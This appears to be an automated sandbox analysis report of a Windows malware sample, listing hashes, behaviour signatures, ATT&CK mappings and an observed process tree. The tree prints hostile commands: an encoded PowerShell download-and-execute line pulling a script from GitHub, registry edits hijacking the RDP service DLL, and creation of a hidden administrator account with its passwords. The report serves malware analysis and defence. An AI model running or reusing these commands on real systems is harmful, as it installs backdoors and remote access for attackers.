Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    06-11-2020 11:02

General

  • Target

    da79ce774ba5bd61e0c0dc2a4d65f295cacbcfeab1695566c6543923c21b121b.exe

  • Size

    3.3MB

  • MD5

    f2d37d864716da449a7791199ad3eb40

  • SHA1

    c04d0b96e4492e1cba6a9604addc1d8f40e98be8

  • SHA256

    da79ce774ba5bd61e0c0dc2a4d65f295cacbcfeab1695566c6543923c21b121b

  • SHA512

    a03ba66cd51e3d9ef9bbbe0f82e704ca1da13aa089dc3e03cc13900ba8f64e432949928de975d4c103ce977707a983ad1a318dc07f1e3a00d4c8daf3c1e69469

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blacklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies service 2 TTPs 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 217 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 77 IoCs
  • Suspicious use of WriteProcessMemory 72 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\da79ce774ba5bd61e0c0dc2a4d65f295cacbcfeab1695566c6543923c21b121b.exe
    "C:\Users\Admin\AppData\Local\Temp\da79ce774ba5bd61e0c0dc2a4d65f295cacbcfeab1695566c6543923c21b121b.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4076
    • \??\c:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
      -ep bypass -f C:\Users\Admin\AppData\Local\Temp\get-points.ps1
      2⤵
      • Deletes itself
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3024
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\te0yl3oh\te0yl3oh.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4068
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7610.tmp" "c:\Users\Admin\AppData\Local\Temp\te0yl3oh\CSC527D92C168E4A1DAD338944CE31F98.TMP"
          4⤵
            PID:4000
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1720
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies service
            • Modifies registry key
            PID:2176
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:2484
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:696
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:200
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:204
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2576
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2348
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:3648
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3548
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1444
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:752
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:508
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:560
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:3632
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2316
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2100
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:3048
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc kuYvKJrw /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2712
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc kuYvKJrw /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2188
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc kuYvKJrw /add
                          3⤵
                            PID:1544
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2396
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:696
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:3076
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2348
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:904
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
                              3⤵
                                PID:3788
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2196
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2268
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                3⤵
                                  PID:2992
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc kuYvKJrw
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:620
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc kuYvKJrw
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2712
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user wgautilacc kuYvKJrw
                                  3⤵
                                    PID:212
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3508
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                  • Modifies data under HKEY_USERS
                                  PID:2192
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic CPU get NAME
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:204
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic CPU get NAME
                                  2⤵
                                    PID:3996
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                  1⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3356
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    2⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:2212
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                      3⤵
                                      • Blacklisted process makes network request
                                      • Drops file in Program Files directory
                                      • Drops file in Windows directory
                                      • Modifies data under HKEY_USERS
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:3180
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C net user wgautilacc 1234
                                  1⤵
                                    PID:3048
                                    • C:\Windows\system32\net.exe
                                      net user wgautilacc 1234
                                      2⤵
                                        PID:756
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user wgautilacc 1234
                                          3⤵
                                            PID:2644

                                      Network

                                      MITRE ATT&CK Matrix ATT&CK v6

                                      Persistence

                                      Account Manipulation

                                      1
                                      T1098

                                      Registry Run Keys / Startup Folder

                                      1
                                      T1060

                                      Modify Existing Service

                                      1
                                      T1031

                                      Defense Evasion

                                      Modify Registry

                                      3
                                      T1112

                                      Lateral Movement

                                      Remote Desktop Protocol

                                      1
                                      T1076

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Temp\RES7610.tmp
                                        MD5

                                        e39694504347d92921c0f151f7cb60fd

                                        SHA1

                                        27b54cb0b4d860cc82d30a04548998a067d1a67f

                                        SHA256

                                        ab2a7187619f89cc0be45d16fdf55806b415c9ea44bf7094fd05d67f4d88f206

                                        SHA512

                                        7f9f7fb7e19c1c864854f9a8320385d63de45addefe333f2e36a62b825e0cacdc4c9f18cdb2d27225f125b121dcdfbad4fa0aae1462944f21e0992bb6ec319f5

                                      • C:\Users\Admin\AppData\Local\Temp\get-points.ps1
                                        MD5

                                        bcac3bbb18f093dbc8e5e76d2675695f

                                        SHA1

                                        96453f65b41e428937349e6f48fe67d6dfd6a580

                                        SHA256

                                        b25768626991b9a33e3ada79e3beb92fa5d83e1b50f2820e6fa2d6cf4827b21a

                                        SHA512

                                        78c55502c7d0484b458fadb78bc075b8eda01b794e2037283df11dc58105bd632c0e747e92fd7aac7b79c5ac0ddce9bb2c6e7ce158c743c9f080a52eda0498ab

                                      • C:\Users\Admin\AppData\Local\Temp\get-points.zip
                                        MD5

                                        42c2a160d2d191e6ffcc1076b4734ee2

                                        SHA1

                                        c8a71ddb77c6bad039fbb041bbf7ea2021ca9d49

                                        SHA256

                                        2b8aebe68161f07e7029bac05eeeb009455553731baf60b447d0d4aaa9fded99

                                        SHA512

                                        3b9de3ad6cbe4db3958564b4bd37a45e6aa3a62a4a6e6756d6e997a9cc9c2dca31053e9e0aa300c1660b72332eb1f677f6b65762825ac68a99a55d06043e0939

                                      • C:\Users\Admin\AppData\Local\Temp\te0yl3oh\te0yl3oh.dll
                                        MD5

                                        33e7541dc0edf88a1fe73fac8a57513c

                                        SHA1

                                        2fe94b19917fddfe97ea320db0dbb3f48ebf87f7

                                        SHA256

                                        79f503b57b337362cb9602d503afd5e22d28092bcfdd06234e91f6d2219b8818

                                        SHA512

                                        38a20beca2d6c6b2b9df2fe7f3bb63a12434aac400fce3f419cf3e35f2dc7daf79df0f1f5218b332a2b8a36383e2f0ad631c913e030c05471708cc68d63b61e5

                                      • \??\PIPE\lsarpc
                                        MD5

                                        d41d8cd98f00b204e9800998ecf8427e

                                        SHA1

                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                        SHA256

                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                        SHA512

                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                      • \??\c:\Users\Admin\AppData\Local\Temp\te0yl3oh\CSC527D92C168E4A1DAD338944CE31F98.TMP
                                        MD5

                                        7f6f33a4e8c61faa84841eb5ea91684a

                                        SHA1

                                        665cf59a5d168c1abfa507f87daffd18ebffc6ea

                                        SHA256

                                        39e4ba4b830af9d5c4c18bab2c3143a11a011beb8e5584fe22f65e293438e954

                                        SHA512

                                        18e471739dfedc66c75de08762d8c2ed4f1578e04e23d770db7ba162a7a6b334dc503b4eb1a6a139bce61f81a268255c37f2d808f3a6f460e4e8c35478f9f188

                                      • \??\c:\Users\Admin\AppData\Local\Temp\te0yl3oh\te0yl3oh.0.cs
                                        MD5

                                        6f235215132cdebacd0f793fe970d0e3

                                        SHA1

                                        2841e44c387ed3b6f293611992f1508fe9b55b89

                                        SHA256

                                        ccad602538354ee5bbc78ab935207c36ba9910da1a7b5a10ff455e34e15f15ec

                                        SHA512

                                        a14657bc5be862a96c1826347b551e07b47ffa6ffd7e12fbfc3437b9a48e8b8e020ae71b8ef836c357d9db6c065da962a6141272d9bc58b76a9eb9c11553d44e

                                      • \??\c:\Users\Admin\AppData\Local\Temp\te0yl3oh\te0yl3oh.cmdline
                                        MD5

                                        d6ee414daaed0742426b787264ebca78

                                        SHA1

                                        d4bf91e74de4bea2f67cd3aabc7da66da7328a3c

                                        SHA256

                                        35fc60b270395829c492963a32e7885a7f30c23d2d2adb4465bbc9cf2ac5f8c6

                                        SHA512

                                        57abd26919ad73ca9c2d1096fc4e987ec1ab76c75b380cb834d1fd72d1057b8fb72f26596dd1058b9fe0bba2019a4d06e9ee50e40191bc5e64b71879966cb701

                                      • \Windows\Branding\mediasrv.png
                                        MD5

                                        f357d4e7b83bc0a41c65d97f3e6f50f4

                                        SHA1

                                        71db3180a8ada6d5d7722c54a5940c3490f78636

                                        SHA256

                                        db0b525a0871cd413d9e1e4a31568b10344aa996823a22e85179ea4dab11afba

                                        SHA512

                                        566bc45578f2754b4330fc2721d24aef95ae25ef258d56b00c8cb585061f89386a5d27245d301ea0d479797a42f0487605c294008a6d33559634b5e35f4b4e8e

                                      • \Windows\Branding\mediasvc.png
                                        MD5

                                        d5de6f599d9807bac2f5a8e751a8c38f

                                        SHA1

                                        9e70edf56b6a5768fda84232e9c557e750d3631b

                                        SHA256

                                        18207938b456352ad540ed62fb113b7b11025a6d2b1de08728772c24c8553fca

                                        SHA512

                                        e526e3a75be31762bb5fc01f4450ff48391fe36a1e71aef6a89d3f262e523e2f7654501f43667a3e982a05835418e72ae26ec3ba955b8537a700e69e82337fc5

                                      • memory/200-19-0x0000000000000000-mapping.dmp
                                      • memory/204-20-0x0000000000000000-mapping.dmp
                                      • memory/212-42-0x0000000000000000-mapping.dmp
                                      • memory/508-27-0x0000000000000000-mapping.dmp
                                      • memory/560-51-0x0000000000000000-mapping.dmp
                                      • memory/696-34-0x0000000000000000-mapping.dmp
                                      • memory/696-18-0x0000000000000000-mapping.dmp
                                      • memory/752-26-0x0000000000000000-mapping.dmp
                                      • memory/756-53-0x0000000000000000-mapping.dmp
                                      • memory/904-37-0x0000000000000000-mapping.dmp
                                      • memory/1444-25-0x0000000000000000-mapping.dmp
                                      • memory/1544-33-0x0000000000000000-mapping.dmp
                                      • memory/1720-15-0x0000000000000000-mapping.dmp
                                      • memory/2100-30-0x0000000000000000-mapping.dmp
                                      • memory/2176-16-0x0000000000000000-mapping.dmp
                                      • memory/2188-32-0x0000000000000000-mapping.dmp
                                      • memory/2192-43-0x0000000000000000-mapping.dmp
                                      • memory/2212-45-0x0000000000000000-mapping.dmp
                                      • memory/2268-39-0x0000000000000000-mapping.dmp
                                      • memory/2348-22-0x0000000000000000-mapping.dmp
                                      • memory/2484-17-0x0000000000000000-mapping.dmp
                                      • memory/2576-21-0x0000000000000000-mapping.dmp
                                      • memory/2644-54-0x0000000000000000-mapping.dmp
                                      • memory/2712-41-0x0000000000000000-mapping.dmp
                                      • memory/2992-40-0x0000000000000000-mapping.dmp
                                      • memory/3024-2-0x0000000000000000-mapping.dmp
                                      • memory/3024-3-0x00007FFFCE9A0000-0x00007FFFCF38C000-memory.dmp
                                        Filesize

                                        9.9MB

                                      • memory/3024-14-0x000001D998010000-0x000001D998011000-memory.dmp
                                        Filesize

                                        4KB

                                      • memory/3024-4-0x000001D9FD0B0000-0x000001D9FD0B1000-memory.dmp
                                        Filesize

                                        4KB

                                      • memory/3024-5-0x000001D9FF350000-0x000001D9FF351000-memory.dmp
                                        Filesize

                                        4KB

                                      • memory/3048-31-0x0000000000000000-mapping.dmp
                                      • memory/3076-35-0x0000000000000000-mapping.dmp
                                      • memory/3180-46-0x0000000000000000-mapping.dmp
                                      • memory/3180-47-0x00007FFFCE9A0000-0x00007FFFCF38C000-memory.dmp
                                        Filesize

                                        9.9MB

                                      • memory/3548-24-0x0000000000000000-mapping.dmp
                                      • memory/3632-52-0x0000000000000000-mapping.dmp
                                      • memory/3648-23-0x0000000000000000-mapping.dmp
                                      • memory/3788-38-0x0000000000000000-mapping.dmp
                                      • memory/3996-44-0x0000000000000000-mapping.dmp
                                      • memory/4000-10-0x0000000000000000-mapping.dmp
                                      • memory/4068-7-0x0000000000000000-mapping.dmp
                                      • memory/4076-1-0x00000000029E0000-0x00000000029E1000-memory.dmp
                                        Filesize

                                        4KB